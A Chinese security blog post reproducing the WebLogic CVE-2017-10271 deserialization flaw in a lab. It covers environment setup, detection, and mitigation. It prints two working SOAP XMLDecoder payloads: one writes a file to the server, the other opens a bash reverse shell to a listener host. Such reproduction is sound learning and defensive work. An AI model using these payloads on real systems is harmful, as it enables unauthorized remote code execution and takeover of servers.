【漏洞复现】Weblogic漏洞搭建与复现:CVE-2017-10271

  • 2020 年 2 月 25 日
  • 筆記

点击上方“公众号” 可以订阅哦!

Hello,各位小伙伴大家好~

这里是你们的小编Monster~

不知道大家都开工了没,小编3号就开始工作了哟~

今天一起来看看CVE-2017-10271的复现吧~

Part.1

漏洞说明

漏洞说明

1、漏洞描述

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,近期发现此漏洞的利用方式为传播挖矿程序。

2、涉及版本

10.3.6.0.0

12.1.3.0.0

12.2.1.1.0

12.2.1.2.0

Part.2

环境搭建

方法一:Vulhub(推荐)

1、搭建Vulhub

Vulhub是一个基于docker和docker-compose的漏洞环境集合,配合docker进行使用。

首先根据官网说明,安装好vulhub:

https://vulhub.org/

2、部署漏洞环境

如果刚开机,需要先启动docker:

之前也写过一期docker的使用方法:

【Linux】使用docker搭建Apache/Nginx服务器

可以看到vulhub中包含以下weblogic漏洞环境:

部署CVE-2017-10271:

查看虚拟机状态:

可以看到端口映射到了7001,尝试访问:

成功,搭建完毕~

方法二:手工搭建(不推荐)

不推荐的原因是,相比vulhub,手工搭建可能遇到各种意想不到的问题…

1、账号创建

由于weblogic不能使用root账号进行安装,我们先创建一个账号:

2、安装JDK

此处需要jdk1.7.0_15以上的版本,公众号回复10271即可获取。

将压缩包解压到/usr/local/下

解压后得到压缩文件:

配置环境变量,vim /etc/profile,加入以下内容:

加载上面的配置,并检查是否配置成功:

版本正确,JDK安装成功~

3、安装weblogic12.1.3.0

Weblogic安装包,公众号回复10271即可获取。

创建响应文件wls.rsp:

文件内容如下:

[ENGINE]  #DO NOT CHANGE THIS.  Response File Version=1.0.0.0.0    [GENERIC]  #The oracle home location. This can be an existing Oracle Home or a new Oracle Home  ORACLE_HOME=/home/weblogic/Oracle    #Set this variable value to the Installation Type selected. e.g. WebLogic Server, Coherence, Complete with Examples.  INSTALL_TYPE=WebLogic Server    #Provide the My Oracle Support Username. If you wish to ignore Oracle Configuration Manager configuration provide empty string for user name.  MYORACLESUPPORT_USERNAME=    #Provide the My Oracle Support Password  MYORACLESUPPORT_PASSWORD=<SECURE VALUE>    #Set this to true if you wish to decline the security updates. Setting this to true and providing empty string for My Oracle Support username will ignore the Oracle Configuration Manager configuration    DECLINE_SECURITY_UPDATES=true    #Set this to true if My Oracle Support Password is specified  SECURITY_UPDATES_VIA_MYORACLESUPPORT=false    #Provide the Proxy Host  PROXY_HOST=    #Provide the Proxy Port  PROXY_PORT=    #Provide the Proxy Username  PROXY_USER=    #Provide the Proxy Password  PROXY_PWD=<SECURE VALUE>    #Type String (URL format) Indicates the OCM Repeater URL which should be of the format [scheme[Http/Https]]://[repeater host]:[repeater port]  COLLECTOR_SUPPORTHUB_URL=

同样创建Loc文件oraInst.loc,内容如下:

inventory_loc=/home/weblogic/oraInventory  inst_group=weblogic

开始安装:

java-jar fmw_12.1.3.0.0_wls.jar -silent -responseFile /home/weblogic/wls.rsp -invPtrLoc /home/weblogic/oraInst.loc

安装完成~

4、创建domain域名

使用以下命令:

cd /home/weblogic/Oracle  mkdir -p user_projects/domains/base_domain  cd user_projects/domains/base_domain  cp /home/weblogic/Oracle/wlserver/common/templates/scripts/wlst/basicWLSDomain.py .

修改文件:

/home/weblogic/Oracle/user_projects/domains/base_domain/basicWLSDomain.py

添加以下内容:

并删除从#Create a JMS Server.

到# Writethe domain and close the domain template. 之间的所有内容

删除后如下:

执行basicWLSDomain.py脚本:

5、启动weblogic

浏览器访问http://X.X.X.X:7001/console/:

搭建完成~

Part.3

漏洞复现

漏洞检测

可以直接使用工具进行漏洞检测:

公众号回复10271即可获取工具~

也可以尝试访问http://192.168.3.137:7001/wls-wsat/CoordinatorPortType

如果存在该页面,则可能存在漏洞。

文件上传

利用该漏洞进行文件上传,POC:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">        <soapenv:Header>          <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">           <java version="1.6.0" class="java.beans.XMLDecoder">                      <object class="java.io.PrintWriter">                          <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">                          <string>monster_test</string></void><void method="close"/>                      </object>              </java>          </work:WorkContext>        </soapenv:Header>        <soapenv:Body/>  </soapenv:Envelope>

通过burp发包:

访问上传页面test.txt:

上传成功~

反弹shell

首先在kali进行监听:

反弹shell poc:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  <java version="1.4.0" class="java.beans.XMLDecoder">  <void class="java.lang.ProcessBuilder">  <array class="java.lang.String" length="3">  <void index="0">  <string>/bin/bash</string>  </void>  <void index="1">  <string>-c</string>  </void>  <void index="2">  <string>bash -i &gt;&amp; /dev/tcp/192.168.3.130/4444 0&gt;&amp;1</string>  </void>  </array>  <void method="start"/></void>  </java>  </work:WorkContext>  </soapenv:Header>  <soapenv:Body/>  </soapenv:Envelope>

通过Burp发包如下:

成功反弹shell:

利用成功~

Part.4

漏洞修复

1、临时方案

删除WebLogicwls-wsat组件:

rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war  rm –f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war  rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

重启Weblogic域控制器服务:

DOMAIN_NAME/bin/stopWeblogic.sh  DOMAIN_NAME/bin/startManagedWebLogic.sh

2、通过补丁升级

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

Part.5

结语

以上就是今天的全部内容了~

欢迎到公众号:一名白帽的成长史分享/提问哦~